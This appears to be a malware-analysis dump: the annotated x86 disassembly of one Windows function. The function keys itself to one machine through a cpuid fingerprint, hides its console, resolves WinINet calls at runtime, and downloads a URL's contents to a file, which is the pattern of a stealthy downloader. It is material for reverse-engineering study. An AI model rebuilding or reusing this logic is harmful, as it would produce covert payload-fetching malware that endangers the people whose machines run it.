Function at 0x4016f0
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Write file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x46c
mov dword [esp + 0x44b], 0x2d2d2d2d
mov dword [esp + 0x44f], 0x2d2d2d2d
mov dword [esp + 0x453], 0x2d2d2d2d
mov byte [esp + 0x457], 0
lea esi, [esp + 0x437]
mov dword [esp + 0x437], 0
mov dword [esp + 0x43b], 0
mov dword [esp + 0x43f], 0
mov dword [esp + 0x443], 0
mov dword [esp + 0x447], 0
xor eax, eax
cpuid
mov dword [esp + 0x44b], ebx
mov dword [esp + 0x44f], edx
mov dword [esp + 0x453], ecx
mov eax, 1
xor edx, edx
cpuid
mov dword [esp + 0x45c], edx
mov dword [esp + 0x458], eax
mov ebx, dword [esp + 0x458]
add ebx, dword [esp + 0x45c]
mov eax, 3
xor ecx, ecx
xor edx, edx
cpuid
mov dword [esp + 0x45c], edx
mov dword [esp + 0x458], ecx
add ebx, dword [esp + 0x45c]
add ebx, dword [esp + 0x458]
mov dword [esp + 8], ebx
mov dword [esp + 4], str._08X
mov dword [esp], esi
call sub.msvcrt.dll_sprintf
mov edi, str.178F02C0
mov ecx, 9
repe cmpsb byte [esi], byte es:[edi]
seta al
sbb al, 0
movsx ebx, al
test ebx, ebx
jne 0x4017ff
mov eax, ebx
add esp, 0x46c
pop ebx
pop esi
pop edi
pop ebp
ret
call fcn.0040169e
mov ebx, 0
test al, al
jne 0x4017f2
mov dword [esp], str.wininet.dll
call sub.KERNEL32.dll_LoadLibraryA
sub esp, 4
mov ebx, eax
mov dword [esp + 4], str.InternetOpenA
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov esi, eax
mov dword [esp + 4], str.InternetCloseHandle
mov dword [esp], ebx
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [esp + 0x28], eax
mov dword [esp + 4], str.InternetOpenUrlA
mov dword [esp], ebx
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov ebp, eax
mov dword [esp + 4], str.HttpQueryInfoA
mov dword [esp], ebx
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [esp + 0x24], eax
mov dword [esp + 4], str.InternetReadFile
mov dword [esp], ebx
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [esp + 0x20], eax
mov dword [esp], str.Kernel32.dll
call sub.KERNEL32.dll_LoadLibraryA
sub esp, 4
mov ebx, eax
mov dword [esp + 4], str.FreeConsole
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov edi, eax
mov dword [esp + 4], str.CreateFileA
mov dword [esp], ebx
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov ebx, eax
call edi
mov dword [esp + 0x430], 0
mov dword [esp + 0x30], 0
lea edi, [esp + 0x34]
mov ecx, 0xff
mov eax, 0
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call esi
sub esp, 0x14
mov dword [esp + 0x2c], eax
test eax, eax
je 0x401ad4
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0x80000100
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov esi, dword [esp + 0x480]
mov dword [esp + 4], esi
mov dword [esp], eax
call ebp
sub esp, 0x18
mov ebp, eax
test eax, eax
je 0x4019fc
mov dword [esp + 0x10], 0
lea ecx, [esp + 0x430]
mov dword [esp + 0xc], ecx
lea eax, [esp + 0x30]
mov dword [esp + 8], eax
mov dword [esp + 4], 5
mov dword [esp], ebp
mov edi, dword [esp + 0x24]
call edi
sub esp, 0x14
test eax, eax
je 0x40199f
cmp dword [esp + 0x430], 0
jne 0x401a16
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x40000000
mov esi, dword [esp + 0x484]
mov dword [esp], esi
call ebx
sub esp, 0x1c
mov dword [esp + 0x24], eax
cmp eax, 0xffffffff
je 0x401a27
mov ebx, 0
lea edi, [esp + 0x430]
lea esi, [esp + 0x30]
jmp 0x401a7d
mov ecx, dword [esp + 0x2c]
mov dword [esp], ecx
mov edi, dword [esp + 0x28]
call edi
sub esp, 4
mov ebx, 0xffffffff
jmp 0x4017f2
lea edx, [esp + 0x30]
mov dword [esp], edx
call sub.msvcrt.dll_atoi
jmp 0x40199f
mov dword [esp], ebp
mov ebx, dword [esp + 0x28]
call ebx
sub esp, 4
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
call ebx
sub esp, 4
mov ebx, 0xffffffff
jmp 0x4017f2
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edi
mov dword [esp + 8], ecx
mov dword [esp + 4], esi
mov edx, dword [esp + 0x24]
mov dword [esp], edx
call sub.KERNEL32.dll_WriteFile
sub esp, 0x14
add ebx, dword [esp + 0x430]
cmp dword [esp + 0x430], 0
je 0x401aa8
mov dword [esp + 0xc], edi
mov dword [esp + 8], 0x400
mov dword [esp + 4], esi
mov dword [esp], ebp
mov eax, dword [esp + 0x20]
call eax
sub esp, 0x10
test eax, eax
je 0x401aa8
mov ecx, dword [esp + 0x430]
test ecx, ecx
jne 0x401a49
mov edi, dword [esp + 0x24]
mov dword [esp], edi
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov dword [esp], ebp
mov ebp, dword [esp + 0x28]
call ebp
sub esp, 4
mov esi, dword [esp + 0x2c]
mov dword [esp], esi
call ebp
sub esp, 4
jmp 0x4017f2
mov ebx, 0xffffffff
jmp 0x4017f2